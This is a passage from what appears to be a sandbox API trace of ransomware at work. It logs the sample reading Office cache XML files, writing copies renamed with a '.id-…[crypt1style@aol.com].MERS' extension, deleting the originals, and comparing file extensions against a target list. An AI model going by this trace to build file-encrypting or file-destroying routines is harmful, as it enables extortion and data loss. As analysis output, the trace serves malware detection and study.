lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4274) returned 1 [0035.884] CloseHandle (hObject=0x1ec) returned 1 [0035.886] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.886] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.886] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.886] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.886] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.886] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.886] GetLastError () returned 0x0 [0035.886] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.934] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.935] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.935] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.935] SetEndOfFile (hFile=0x1d8) returned 1 [0035.936] CloseHandle (hObject=0x1d8) returned 1 [0035.936] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.936] SetEndOfFile (hFile=0x1ec) returned 1 [0035.937] CloseHandle (hObject=0x1ec) returned 1 [0035.937] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.937] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString=".doc") returned 4 [0035.938] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString=".docx") returned 5 [0035.938] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.938] lstrlenW (lpString=".pdf") returned 4 [0035.938] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString=".xls") returned 4 [0035.938] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString=".xlsx") returned 5 [0035.938] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.938] lstrlenW (lpString=".ppt") returned 4 [0035.938] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString=".zip") returned 4 [0035.938] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.938] lstrlenW (lpString=".rar") returned 4 [0035.938] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString=".bz2") returned 4 [0035.938] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString=".7z") returned 3 [0035.938] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString=".dbf") returned 4 [0035.938] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString=".1cd") returned 4 [0035.938] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString=".jpg") returned 4 [0035.938] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.939] lstrlenW (lpString=".doc") returned 4 [0035.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString=".docx") returned 5 [0035.939] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.939] lstrlenW (lpString=".pdf") returned 4 [0035.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString=".xls") returned 4 [0035.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString=".xlsx") returned 5 [0035.939] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.939] lstrlenW (lpString=".ppt") returned 4 [0035.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.939] lstrlenW (lpString=".zip") returned 4 [0035.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.939] lstrlenW (lpString=".rar") returned 4 [0035.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString=".bz2") returned 4 [0035.939] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString=".7z") returned 3 [0035.939] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.939] lstrlenW (lpString=".dbf") returned 4 [0035.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.939] lstrlenW (lpString=".1cd") returned 4 [0035.939] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.939] lstrlenW (lpString=".jpg") returned 4 [0035.939] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.939] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.939] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0035.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.941] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6421) returned 1 [0035.941] CloseHandle (hObject=0x1ec) returned 1 [0035.941] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0035.941] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.941] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.941] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.941] GetLastError () returned 0x0 [0035.941] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x1915, lpOverlapped=0x0) returned 1 [0035.944] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0035.947] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.947] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.947] SetEndOfFile (hFile=0x1d8) returned 1 [0035.947] CloseHandle (hObject=0x1d8) returned 1 [0035.949] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.949] SetEndOfFile (hFile=0x1ec) returned 1 [0035.949] CloseHandle (hObject=0x1ec) returned 1 [0035.949] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.950] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0035.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.950] lstrlenW (lpString=".doc") returned 4 [0035.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.950] lstrlenW (lpString=".docx") returned 5 [0035.950] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.950] lstrlenW (lpString=".pdf") returned 4 [0035.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.950] lstrlenW (lpString=".xls") returned 4 [0035.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.950] lstrlenW (lpString=".xlsx") returned 5 [0035.950] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.950] lstrlenW (lpString=".ppt") returned 4 [0035.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.950] lstrlenW (lpString=".zip") returned 4 [0035.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.950] lstrlenW (lpString=".rar") returned 4 [0035.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.950] lstrlenW (lpString=".bz2") returned 4 [0035.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".7z") returned 3 [0035.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".dbf") returned 4 [0035.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".1cd") returned 4 [0035.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".jpg") returned 4 [0035.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".doc") returned 4 [0035.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".docx") returned 5 [0035.951] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.951] lstrlenW (lpString=".pdf") returned 4 [0035.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".xls") returned 4 [0035.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".xlsx") returned 5 [0035.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.951] lstrlenW (lpString=".ppt") returned 4 [0035.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".zip") returned 4 [0035.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.951] lstrlenW (lpString=".rar") returned 4 [0035.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".bz2") returned 4 [0035.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.951] lstrlenW (lpString=".7z") returned 3 [0035.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.951] lstrlenW (lpString=".dbf") returned 4 [0035.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.952] lstrlenW (lpString=".1cd") returned 4 [0035.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.952] lstrlenW (lpString=".jpg") returned 4 [0035.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.952] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.952] lstrlenW (lpString="Setup.xml") returned 9 [0035.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.952] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16683) returned 1 [0035.952] CloseHandle (hObject=0x1ec) returned 1 [0035.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.952] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.953] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.953] GetLastError () returned 0x0 [0035.953] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x412b, lpOverlapped=0x0) returned 1 [0035.969] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0035.970] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.970] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.970] SetEndOfFile (hFile=0x1d8) returned 1 [0035.970] CloseHandle (hObject=0x1d8) returned 1 [0035.971] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.971] SetEndOfFile (hFile=0x1ec) returned 1 [0035.972] CloseHandle (hObject=0x1ec) returned 1 [0035.972] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.972] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.972] lstrlenW (lpString=".doc") returned 4 [0035.972] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.972] lstrlenW (lpString=".docx") returned 5 [0035.972] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.972] lstrlenW (lpString=".pdf") returned 4 [0035.972] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.972] lstrlenW (lpString=".xls") returned 4 [0035.972] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.972] lstrlenW (lpString=".xlsx") returned 5 [0035.972] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.972] lstrlenW (lpString=".ppt") returned 4 [0035.972] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".zip") returned 4 [0035.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.973] lstrlenW (lpString=".rar") returned 4 [0035.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString=".bz2") returned 4 [0035.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString=".7z") returned 3 [0035.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".dbf") returned 4 [0035.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".1cd") returned 4 [0035.973] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".jpg") returned 4 [0035.973] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".doc") returned 4 [0035.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString=".docx") returned 5 [0035.973] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.973] lstrlenW (lpString=".pdf") returned 4 [0035.973] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString=".xls") returned 4 [0035.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString=".xlsx") returned 5 [0035.973] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.973] lstrlenW (lpString=".ppt") returned 4 [0035.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.973] lstrlenW (lpString=".zip") returned 4 [0035.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.974] lstrlenW (lpString=".rar") returned 4 [0035.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.974] lstrlenW (lpString=".bz2") returned 4 [0035.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.974] lstrlenW (lpString=".7z") returned 3 [0035.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.974] lstrlenW (lpString=".dbf") returned 4 [0035.974] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.974] lstrlenW (lpString=".1cd") returned 4 [0035.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.974] lstrlenW (lpString=".jpg") returned 4 [0035.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.974] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.974] lstrlenW (lpString="Setup.xml") returned 9 [0035.974] CreateFileW (lpFileName="C:\\MSOCache\\All 